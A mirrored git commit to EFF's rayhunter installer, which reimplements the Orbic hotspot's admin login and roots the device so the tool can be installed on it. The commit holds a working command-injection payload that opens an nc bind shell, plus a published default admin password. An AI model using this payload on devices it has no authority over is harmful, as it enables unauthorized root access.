mirror of
https://github.com/EFForg/rayhunter.git
synced 2026-04-26 07:29:59 -07:00
Add --admin-password to orbic-network installer, update docs
Also add some more debug-logging to telnet_send_file since it appears to be janky on my device. see #599
This commit is contained in:
committed by
Cooper Quintin
parent
fa5c2bf5d1
commit
1a80a0576c
@@ -30,11 +30,10 @@ According to [FCC ID 2APQU-K779HSDL](https://fcc.report/FCC-ID/2APQU-K779HSDL),
|
|||||||
Connect to the hotspot's network using WiFi or USB tethering and run:
|
Connect to the hotspot's network using WiFi or USB tethering and run:
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
./installer orbic-network
|
./installer orbic-network --admin-password 'mypassword'
|
||||||
```
|
```
|
||||||
|
|
||||||
The installation will ask you to log into the admin UI using a custom URL. The
|
The password (in place of `mypassword`) is under the battery.
|
||||||
password for that is under the battery.
|
|
||||||
|
|
||||||
## Obtaining a shell
|
## Obtaining a shell
|
||||||
|
|
||||||
|
|||||||
11
doc/orbic.md
11
doc/orbic.md
@@ -32,11 +32,14 @@ reliably on Windows than `./installer orbic` does.
|
|||||||
The drawback is that the device's admin password is required.
|
The drawback is that the device's admin password is required.
|
||||||
|
|
||||||
1. Connect to the Orbic's network via WiFi or USB tethering
|
1. Connect to the Orbic's network via WiFi or USB tethering
|
||||||
2. Run `./installer orbic-network`
|
2. Run `./installer orbic-network --admin-password 'mypassword'`
|
||||||
3. The installer will ask you to log into the admin UI on `localhost:4000`. The password for that is the same as the WiFi password.
|
|
||||||
4. As soon as you're logged in, the installer will continue and reboot the device.
|
|
||||||
|
|
||||||
*note*: On Kajeet devices the default admin password is `$m@rt$p0tc0nf!g`, on most other orbic devices the default admin password is the same as the wifi password. If the password has been changed you can reset it by pressing the button under the back case until the unit restarts.
|
* On Verizon Orbic, the password is the WiFi password.
|
||||||
|
* On Kajeet/Smartspot devices, the default password is `$m@rt$p0tc0nf!g`
|
||||||
|
* On Moxee-brand devices, check under the battery for the password.
|
||||||
|
* You can reset the password by pressing the button under the back case until the unit restarts.
|
||||||
|
|
||||||
|
3. The installer will eventually reboot the device, at which point the device is up and running.
|
||||||
|
|
||||||
## Obtaining a shell
|
## Obtaining a shell
|
||||||
|
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ use clap::{Parser, Subcommand};
|
|||||||
use env_logger::Env;
|
use env_logger::Env;
|
||||||
|
|
||||||
mod orbic;
|
mod orbic;
|
||||||
|
mod orbic_auth;
|
||||||
mod orbic_network;
|
mod orbic_network;
|
||||||
mod pinephone;
|
mod pinephone;
|
||||||
mod tmobile;
|
mod tmobile;
|
||||||
@@ -76,6 +77,14 @@ struct OrbicNetworkArgs {
|
|||||||
/// IP address for Orbic admin interface, if custom.
|
/// IP address for Orbic admin interface, if custom.
|
||||||
#[arg(long, default_value = "192.168.1.1")]
|
#[arg(long, default_value = "192.168.1.1")]
|
||||||
admin_ip: String,
|
admin_ip: String,
|
||||||
|
|
||||||
|
/// Admin username for authentication.
|
||||||
|
#[arg(long, default_value = "admin")]
|
||||||
|
admin_username: String,
|
||||||
|
|
||||||
|
/// Admin password for authentication.
|
||||||
|
#[arg(long)]
|
||||||
|
admin_password: String,
|
||||||
}
|
}
|
||||||
|
|
||||||
#[derive(Parser, Debug)]
|
#[derive(Parser, Debug)]
|
||||||
@@ -199,7 +208,7 @@ async fn run() -> Result<(), Error> {
|
|||||||
Command::Pinephone(_) => pinephone::install().await
|
Command::Pinephone(_) => pinephone::install().await
|
||||||
.context("Failed to install rayhunter on the Pinephone's Quectel modem")?,
|
.context("Failed to install rayhunter on the Pinephone's Quectel modem")?,
|
||||||
Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
|
Command::Orbic(_) => orbic::install().await.context("\nFailed to install rayhunter on the Orbic RC400L")?,
|
||||||
Command::OrbicNetwork(args) => orbic_network::install(args.admin_ip).await.context("\nFailed to install rayhunter on the Orbic RC400L via network exploit")?,
|
Command::OrbicNetwork(args) => orbic_network::install(args.admin_ip, args.admin_username, args.admin_password).await.context("\nFailed to install rayhunter on the Orbic RC400L via network exploit")?,
|
||||||
Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
|
Command::Wingtech(args) => wingtech::install(args).await.context("\nFailed to install rayhunter on the Wingtech CT2MHS01")?,
|
||||||
Command::Util(subcommand) => match subcommand.command {
|
Command::Util(subcommand) => match subcommand.command {
|
||||||
UtilSubCommand::Serial(serial_cmd) => {
|
UtilSubCommand::Serial(serial_cmd) => {
|
||||||
@@ -237,7 +246,7 @@ async fn run() -> Result<(), Error> {
|
|||||||
UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?,
|
UtilSubCommand::WingtechStartAdb(args) => wingtech::start_adb(&args.admin_ip, &args.admin_password).await.context("\nFailed to start adb on the Wingtech CT2MHS01")?,
|
||||||
UtilSubCommand::PinephoneStartAdb => pinephone::start_adb().await.context("\nFailed to start adb on the PinePhone's modem")?,
|
UtilSubCommand::PinephoneStartAdb => pinephone::start_adb().await.context("\nFailed to start adb on the PinePhone's modem")?,
|
||||||
UtilSubCommand::PinephoneStopAdb => pinephone::stop_adb().await.context("\nFailed to stop adb on the PinePhone's modem")?,
|
UtilSubCommand::PinephoneStopAdb => pinephone::stop_adb().await.context("\nFailed to stop adb on the PinePhone's modem")?,
|
||||||
UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip).await.context("\\nFailed to start telnet on the Orbic RC400L")?,
|
UtilSubCommand::OrbicStartTelnet(args) => orbic_network::start_telnet(&args.admin_ip, &args.admin_username, &args.admin_password).await.context("\\nFailed to start telnet on the Orbic RC400L")?,
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
80
installer/src/orbic_auth.rs
Normal file
80
installer/src/orbic_auth.rs
Normal file
@@ -0,0 +1,80 @@
|
|||||||
|
use anyhow::{Context, Result};
|
||||||
|
use base64_light::base64_encode;
|
||||||
|
use serde::{Deserialize, Serialize};
|
||||||
|
|
||||||
|
/// Helper function to swap characters in a string
|
||||||
|
fn swap_chars(s: &str, pos1: usize, pos2: usize) -> String {
|
||||||
|
let mut chars: Vec<char> = s.chars().collect();
|
||||||
|
if pos1 < chars.len() && pos2 < chars.len() {
|
||||||
|
chars.swap(pos1, pos2);
|
||||||
|
}
|
||||||
|
chars.into_iter().collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Apply character swapping based on secret (unchanged from original algorithm)
|
||||||
|
fn apply_secret_swapping(mut text: String, secret_num: u32) -> String {
|
||||||
|
for i in 0..4 {
|
||||||
|
let byte = (secret_num >> (i * 8)) & 0xff;
|
||||||
|
let pos1 = (byte as usize) % text.len();
|
||||||
|
let pos2 = i % text.len();
|
||||||
|
text = swap_chars(&text, pos1, pos2);
|
||||||
|
}
|
||||||
|
text
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Encode password using Orbic's custom algorithm
|
||||||
|
///
|
||||||
|
/// This function is a lot simpler than the original JavaScript because it always uses the same
|
||||||
|
/// character set regardless of "password type", and any randomly generated values are hardcoded.
|
||||||
|
pub fn encode_password(
|
||||||
|
password: &str,
|
||||||
|
secret: &str,
|
||||||
|
timestamp: &str,
|
||||||
|
timestamp_start: u64,
|
||||||
|
) -> Result<String> {
|
||||||
|
let current_time = std::time::SystemTime::now()
|
||||||
|
.duration_since(std::time::UNIX_EPOCH)
|
||||||
|
.unwrap()
|
||||||
|
.as_secs();
|
||||||
|
|
||||||
|
// MD5 hash the password and use fixed prefix "a7" instead of random chars
|
||||||
|
let password_md5 = format!("{:x}", md5::compute(password));
|
||||||
|
let mut spliced_password = format!("a7{}", password_md5);
|
||||||
|
|
||||||
|
let secret_num = u32::from_str_radix(secret, 16).context("Failed to parse secret as hex")?;
|
||||||
|
|
||||||
|
spliced_password = apply_secret_swapping(spliced_password, secret_num);
|
||||||
|
|
||||||
|
let timestamp_hex =
|
||||||
|
u32::from_str_radix(timestamp, 16).context("Failed to parse timestamp as hex")?;
|
||||||
|
let time_delta = format!(
|
||||||
|
"{:x}",
|
||||||
|
timestamp_hex + (current_time - timestamp_start) as u32
|
||||||
|
);
|
||||||
|
|
||||||
|
// Use fixed hex "6137" instead of hex encoding of random values
|
||||||
|
let message = format!("6137x{}:{}", time_delta, spliced_password);
|
||||||
|
|
||||||
|
let result = base64_encode(&message);
|
||||||
|
let result = apply_secret_swapping(result, secret_num);
|
||||||
|
|
||||||
|
Ok(result)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Serialize)]
|
||||||
|
pub struct LoginRequest {
|
||||||
|
pub username: String,
|
||||||
|
pub password: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Deserialize)]
|
||||||
|
pub struct LoginInfo {
|
||||||
|
pub retcode: u32,
|
||||||
|
#[serde(rename = "priKey")]
|
||||||
|
pub pri_key: String,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Deserialize)]
|
||||||
|
pub struct LoginResponse {
|
||||||
|
pub retcode: u32,
|
||||||
|
}
|
||||||
@@ -4,21 +4,11 @@ use std::str::FromStr;
|
|||||||
use std::time::Duration;
|
use std::time::Duration;
|
||||||
|
|
||||||
use anyhow::{Context, Result, bail};
|
use anyhow::{Context, Result, bail};
|
||||||
use axum::{
|
|
||||||
Router,
|
|
||||||
body::Body,
|
|
||||||
extract::{Request, State},
|
|
||||||
http::uri::Uri,
|
|
||||||
response::{IntoResponse, Response},
|
|
||||||
routing::any,
|
|
||||||
};
|
|
||||||
use hyper::StatusCode;
|
|
||||||
use hyper_util::{client::legacy::connect::HttpConnector, rt::TokioExecutor};
|
|
||||||
use reqwest::Client;
|
use reqwest::Client;
|
||||||
use serde::Deserialize;
|
use serde::Deserialize;
|
||||||
use tokio::sync::mpsc;
|
|
||||||
use tokio::time::sleep;
|
use tokio::time::sleep;
|
||||||
|
|
||||||
|
use crate::orbic_auth::{LoginInfo, LoginRequest, LoginResponse, encode_password};
|
||||||
use crate::util::{echo, telnet_send_command, telnet_send_file};
|
use crate::util::{echo, telnet_send_command, telnet_send_file};
|
||||||
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
|
use crate::{CONFIG_TOML, RAYHUNTER_DAEMON_INIT};
|
||||||
|
|
||||||
@@ -27,16 +17,127 @@ struct ExploitResponse {
|
|||||||
retcode: u32,
|
retcode: u32,
|
||||||
}
|
}
|
||||||
|
|
||||||
pub async fn start_telnet(admin_ip: &str) -> Result<()> {
|
async fn login_and_exploit(admin_ip: &str, username: &str, password: &str) -> Result<()> {
|
||||||
println!("Waiting for login and trying exploit... ");
|
let client = Client::new();
|
||||||
login_and_exploit(admin_ip).await?;
|
|
||||||
|
// Step 1: Get login info (priKey and session cookie)
|
||||||
|
let login_info_response = client
|
||||||
|
.get(format!("http://{}/goform/GetLoginInfo", admin_ip))
|
||||||
|
.send()
|
||||||
|
.await
|
||||||
|
.context("Failed to get login info")?;
|
||||||
|
|
||||||
|
let session_cookie = login_info_response
|
||||||
|
.headers()
|
||||||
|
.get("set-cookie")
|
||||||
|
.and_then(|cookie| cookie.to_str().ok())
|
||||||
|
.context("No session cookie received")?
|
||||||
|
.split(';')
|
||||||
|
.next()
|
||||||
|
.context("Invalid cookie format")?
|
||||||
|
.to_string();
|
||||||
|
|
||||||
|
let login_info: LoginInfo = login_info_response
|
||||||
|
.json()
|
||||||
|
.await
|
||||||
|
.context("Failed to parse login info")?;
|
||||||
|
|
||||||
|
if login_info.retcode != 0 {
|
||||||
|
bail!("GetLoginInfo failed with retcode: {}", login_info.retcode);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Parse priKey (format: "secret x timestamp")
|
||||||
|
let mut parts = login_info.pri_key.split('x');
|
||||||
|
let secret = parts.next().context("Missing secret in priKey")?;
|
||||||
|
let timestamp = parts.next().context("Missing timestamp in priKey")?;
|
||||||
|
if parts.next().is_some() {
|
||||||
|
bail!("Invalid priKey format: {}", login_info.pri_key);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 2: Encode credentials
|
||||||
|
let username_md5 = format!("{:x}", md5::compute(username));
|
||||||
|
let timestamp_start = std::time::SystemTime::now()
|
||||||
|
.duration_since(std::time::UNIX_EPOCH)
|
||||||
|
.unwrap()
|
||||||
|
.as_secs();
|
||||||
|
|
||||||
|
let encoded_password = encode_password(password, secret, timestamp, timestamp_start)
|
||||||
|
.context("Failed to encode password")?;
|
||||||
|
|
||||||
|
let login_request = LoginRequest {
|
||||||
|
username: username_md5,
|
||||||
|
password: encoded_password,
|
||||||
|
};
|
||||||
|
|
||||||
|
// Step 3: Perform login
|
||||||
|
let login_response = client
|
||||||
|
.post(format!("http://{}/goform/login", admin_ip))
|
||||||
|
.header("Content-Type", "application/json")
|
||||||
|
.header("Cookie", &session_cookie)
|
||||||
|
.json(&login_request)
|
||||||
|
.send()
|
||||||
|
.await
|
||||||
|
.context("Failed to send login request")?;
|
||||||
|
|
||||||
|
// Extract authenticated session cookie from login response
|
||||||
|
let authenticated_cookie = login_response
|
||||||
|
.headers()
|
||||||
|
.get("set-cookie")
|
||||||
|
.and_then(|cookie| cookie.to_str().ok())
|
||||||
|
.map(|cookie| cookie.split(';').next().unwrap_or(cookie).to_string())
|
||||||
|
.unwrap_or(session_cookie);
|
||||||
|
|
||||||
|
let login_result: LoginResponse = login_response
|
||||||
|
.json()
|
||||||
|
.await
|
||||||
|
.context("Failed to parse login response")?;
|
||||||
|
|
||||||
|
if login_result.retcode != 0 {
|
||||||
|
bail!("Login failed with retcode: {}", login_result.retcode);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 4: Exploit using authenticated session
|
||||||
|
let response: ExploitResponse = client
|
||||||
|
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
|
||||||
|
.header("Content-Type", "application/json")
|
||||||
|
.header("Cookie", authenticated_cookie)
|
||||||
|
// Original Orbic lacks telnetd (unlike other devices)
|
||||||
|
// When doing this, one needs to set prompt=None in the telnet utility functions
|
||||||
|
.body(r#"{"password": "\"; busybox nc -ll -p 23 -e /bin/sh & #"}"#)
|
||||||
|
.send()
|
||||||
|
.await
|
||||||
|
.context("failed to start telnet")?
|
||||||
|
.json()
|
||||||
|
.await
|
||||||
|
.context("failed to start telnet")?;
|
||||||
|
|
||||||
|
if response.retcode != 0 {
|
||||||
|
bail!("unexpected response while starting telnet: {:?}", response);
|
||||||
|
}
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
pub async fn start_telnet(
|
||||||
|
admin_ip: &str,
|
||||||
|
admin_username: &str,
|
||||||
|
admin_password: &str,
|
||||||
|
) -> Result<()> {
|
||||||
|
echo!("Logging in and starting telnet... ");
|
||||||
|
login_and_exploit(admin_ip, admin_username, admin_password).await?;
|
||||||
println!("done");
|
println!("done");
|
||||||
|
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
pub async fn install(admin_ip: String) -> Result<()> {
|
pub async fn install(
|
||||||
start_telnet(&admin_ip).await?;
|
admin_ip: String,
|
||||||
|
admin_username: String,
|
||||||
|
admin_password: String,
|
||||||
|
) -> Result<()> {
|
||||||
|
echo!("Logging in and starting telnet... ");
|
||||||
|
login_and_exploit(&admin_ip, &admin_username, &admin_password).await?;
|
||||||
|
println!("done");
|
||||||
|
|
||||||
echo!("Waiting for telnet to become available... ");
|
echo!("Waiting for telnet to become available... ");
|
||||||
wait_for_telnet(&admin_ip).await?;
|
wait_for_telnet(&admin_ip).await?;
|
||||||
@@ -45,105 +146,6 @@ pub async fn install(admin_ip: String) -> Result<()> {
|
|||||||
setup_rayhunter(&admin_ip).await
|
setup_rayhunter(&admin_ip).await
|
||||||
}
|
}
|
||||||
|
|
||||||
type HttpProxyClient = hyper_util::client::legacy::Client<HttpConnector, Body>;
|
|
||||||
|
|
||||||
#[derive(Clone)]
|
|
||||||
struct ProxyState {
|
|
||||||
client: HttpProxyClient,
|
|
||||||
admin_ip: String,
|
|
||||||
session_sender: mpsc::Sender<String>,
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn proxy_handler(state: State<ProxyState>, mut req: Request) -> Result<Response, StatusCode> {
|
|
||||||
// Check for existing session cookie in request
|
|
||||||
if let Some(cookie_header) = req.headers().get("cookie")
|
|
||||||
&& let Ok(cookie_str) = cookie_header.to_str()
|
|
||||||
&& cookie_str.contains("-goahead-session-")
|
|
||||||
{
|
|
||||||
let _ = state.session_sender.send(cookie_str.to_owned()).await;
|
|
||||||
}
|
|
||||||
|
|
||||||
let path_query = req
|
|
||||||
.uri()
|
|
||||||
.path_and_query()
|
|
||||||
.map(|v| v.as_str())
|
|
||||||
.unwrap_or("/");
|
|
||||||
let uri = format!("http://{}{}", state.admin_ip, path_query);
|
|
||||||
*req.uri_mut() = Uri::try_from(uri).unwrap();
|
|
||||||
|
|
||||||
let response = state
|
|
||||||
.client
|
|
||||||
.request(req)
|
|
||||||
.await
|
|
||||||
.map_err(|_| StatusCode::BAD_REQUEST)?;
|
|
||||||
Ok(response.into_response())
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn login_and_exploit(admin_ip: &str) -> Result<()> {
|
|
||||||
let client = hyper_util::client::legacy::Client::builder(TokioExecutor::new())
|
|
||||||
.build(HttpConnector::new());
|
|
||||||
let (tx, mut rx) = mpsc::channel(100);
|
|
||||||
|
|
||||||
let app = Router::new()
|
|
||||||
.route("/", any(proxy_handler))
|
|
||||||
.route("/{*path}", any(proxy_handler))
|
|
||||||
.with_state(ProxyState {
|
|
||||||
client,
|
|
||||||
admin_ip: admin_ip.to_owned(),
|
|
||||||
session_sender: tx,
|
|
||||||
});
|
|
||||||
|
|
||||||
let listener = tokio::net::TcpListener::bind("127.0.0.1:4000")
|
|
||||||
.await
|
|
||||||
.context("Failed to bind to port 4000")?;
|
|
||||||
|
|
||||||
println!(
|
|
||||||
"Please open http://127.0.0.1:4000 in your browser and log into the device to continue."
|
|
||||||
);
|
|
||||||
println!("Username: admin");
|
|
||||||
println!(
|
|
||||||
"Password: On Verizon Orbic RC400L, use the WiFi password. On Moxee devices, check under the battery."
|
|
||||||
);
|
|
||||||
|
|
||||||
let handle = tokio::spawn(async move { axum::serve(listener, app).await });
|
|
||||||
let exploit_client = Client::new();
|
|
||||||
|
|
||||||
let mut last_error = None;
|
|
||||||
|
|
||||||
while let Some(cookie_header) = rx.recv().await {
|
|
||||||
match start_reverse_shell(&exploit_client, admin_ip, &cookie_header).await {
|
|
||||||
Ok(_) => {
|
|
||||||
handle.abort();
|
|
||||||
return Ok(());
|
|
||||||
}
|
|
||||||
Err(e) => last_error = Some(e),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
handle.abort();
|
|
||||||
bail!("Failed to receive session cookie, last error: {last_error:?}")
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn start_reverse_shell(client: &Client, admin_ip: &str, cookie_header: &str) -> Result<()> {
|
|
||||||
let response: ExploitResponse = client
|
|
||||||
.post(format!("http://{}/action/SetRemoteAccessCfg", admin_ip))
|
|
||||||
.header("Content-Type", "application/json")
|
|
||||||
.header("Cookie", cookie_header)
|
|
||||||
// Original Orbic lacks telnetd (unlike other devices)
|
|
||||||
// When doing this, one needs to set prompt=None in the telnet utility functions
|
|
||||||
.body(r#"{"password": "\"; busybox nc -ll -p 23 -e /bin/sh & #"}"#)
|
|
||||||
.send()
|
|
||||||
.await?
|
|
||||||
.json()
|
|
||||||
.await?;
|
|
||||||
|
|
||||||
if response.retcode != 0 {
|
|
||||||
bail!("unexpected response: {:?}", response);
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
|
async fn wait_for_telnet(admin_ip: &str) -> Result<()> {
|
||||||
let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?;
|
let addr = SocketAddr::from_str(&format!("{}:23", admin_ip))?;
|
||||||
let timeout = Duration::from_secs(60);
|
let timeout = Duration::from_secs(60);
|
||||||
|
|||||||
@@ -18,12 +18,11 @@ macro_rules! echo {
|
|||||||
}
|
}
|
||||||
pub(crate) use echo;
|
pub(crate) use echo;
|
||||||
|
|
||||||
pub async fn telnet_send_command(
|
pub async fn telnet_send_command_with_output(
|
||||||
addr: SocketAddr,
|
addr: SocketAddr,
|
||||||
command: &str,
|
command: &str,
|
||||||
expected_output: &str,
|
|
||||||
wait_for_prompt: bool,
|
wait_for_prompt: bool,
|
||||||
) -> Result<()> {
|
) -> Result<String> {
|
||||||
let stream = TcpStream::connect(addr).await?;
|
let stream = TcpStream::connect(addr).await?;
|
||||||
let (mut reader, mut writer) = stream.into_split();
|
let (mut reader, mut writer) = stream.into_split();
|
||||||
|
|
||||||
@@ -69,9 +68,19 @@ pub async fn telnet_send_command(
|
|||||||
}
|
}
|
||||||
})
|
})
|
||||||
.await;
|
.await;
|
||||||
let string = String::from_utf8_lossy(&read_buf);
|
let string = String::from_utf8_lossy(&read_buf).to_string();
|
||||||
if !string.contains(expected_output) {
|
Ok(string)
|
||||||
bail!("{expected_output:?} not found in: {string}");
|
}
|
||||||
|
|
||||||
|
pub async fn telnet_send_command(
|
||||||
|
addr: SocketAddr,
|
||||||
|
command: &str,
|
||||||
|
expected_output: &str,
|
||||||
|
wait_for_prompt: bool,
|
||||||
|
) -> Result<()> {
|
||||||
|
let output = telnet_send_command_with_output(addr, command, wait_for_prompt).await?;
|
||||||
|
if !output.contains(expected_output) {
|
||||||
|
bail!("{expected_output:?} not found in: {output}");
|
||||||
}
|
}
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
@@ -83,17 +92,18 @@ pub async fn telnet_send_file(
|
|||||||
wait_for_prompt: bool,
|
wait_for_prompt: bool,
|
||||||
) -> Result<()> {
|
) -> Result<()> {
|
||||||
echo!("Sending file {filename} ... ");
|
echo!("Sending file {filename} ... ");
|
||||||
{
|
let nc_output = {
|
||||||
let filename = filename.to_owned();
|
let filename = filename.to_owned();
|
||||||
let handle = tokio::spawn(async move {
|
let handle = tokio::spawn(async move {
|
||||||
telnet_send_command(
|
telnet_send_command_with_output(
|
||||||
addr,
|
addr,
|
||||||
&format!("nc -l -p 8081 >{filename}.tmp"),
|
&format!("nc -l -p 8081 >{filename}.tmp"),
|
||||||
"",
|
|
||||||
wait_for_prompt,
|
wait_for_prompt,
|
||||||
)
|
)
|
||||||
.await
|
.await
|
||||||
});
|
});
|
||||||
|
// wait for nc to become available. if the installer fails with connection refused, this
|
||||||
|
// likely is not high enough.
|
||||||
sleep(Duration::from_millis(100)).await;
|
sleep(Duration::from_millis(100)).await;
|
||||||
let mut addr = addr;
|
let mut addr = addr;
|
||||||
addr.set_port(8081);
|
addr.set_port(8081);
|
||||||
@@ -101,11 +111,22 @@ pub async fn telnet_send_file(
|
|||||||
{
|
{
|
||||||
let mut stream = TcpStream::connect(addr).await?;
|
let mut stream = TcpStream::connect(addr).await?;
|
||||||
stream.write_all(payload).await?;
|
stream.write_all(payload).await?;
|
||||||
// ensure that stream is dropped before we wait for nc to terminate!
|
|
||||||
|
// if the orbic is sluggish, we need for nc to write the data to disk before
|
||||||
|
// terminating the connection. if we terminate the connection while there is unflushed
|
||||||
|
// data, that data will just not be written from nc's buffer into OS disk buffer. the
|
||||||
|
// symptom is mismatched md5 hashes.
|
||||||
|
//
|
||||||
|
// this is NOT fixed by calling fsync or similar, we're talking about dropped
|
||||||
|
// application buffers here.
|
||||||
|
sleep(Duration::from_millis(1000)).await;
|
||||||
|
|
||||||
|
// ensure that stream is dropped before we wait for nc to terminate.
|
||||||
}
|
}
|
||||||
|
|
||||||
handle.await??;
|
handle.await??
|
||||||
}
|
};
|
||||||
|
|
||||||
let checksum = md5::compute(payload);
|
let checksum = md5::compute(payload);
|
||||||
telnet_send_command(
|
telnet_send_command(
|
||||||
addr,
|
addr,
|
||||||
@@ -113,7 +134,15 @@ pub async fn telnet_send_file(
|
|||||||
&format!("{checksum:x} {filename}.tmp"),
|
&format!("{checksum:x} {filename}.tmp"),
|
||||||
wait_for_prompt,
|
wait_for_prompt,
|
||||||
)
|
)
|
||||||
.await?;
|
.await
|
||||||
|
.with_context(|| {
|
||||||
|
format!(
|
||||||
|
"File transfer failed. nc command output: '{}'. Expected checksum: {:x}",
|
||||||
|
nc_output.trim(),
|
||||||
|
checksum
|
||||||
|
)
|
||||||
|
})?;
|
||||||
|
|
||||||
telnet_send_command(
|
telnet_send_command(
|
||||||
addr,
|
addr,
|
||||||
&format!("mv {filename}.tmp {filename}"),
|
&format!("mv {filename}.tmp {filename}"),
|
||||||
@@ -121,6 +150,7 @@ pub async fn telnet_send_file(
|
|||||||
wait_for_prompt,
|
wait_for_prompt,
|
||||||
)
|
)
|
||||||
.await?;
|
.await?;
|
||||||
|
|
||||||
println!("ok");
|
println!("ok");
|
||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user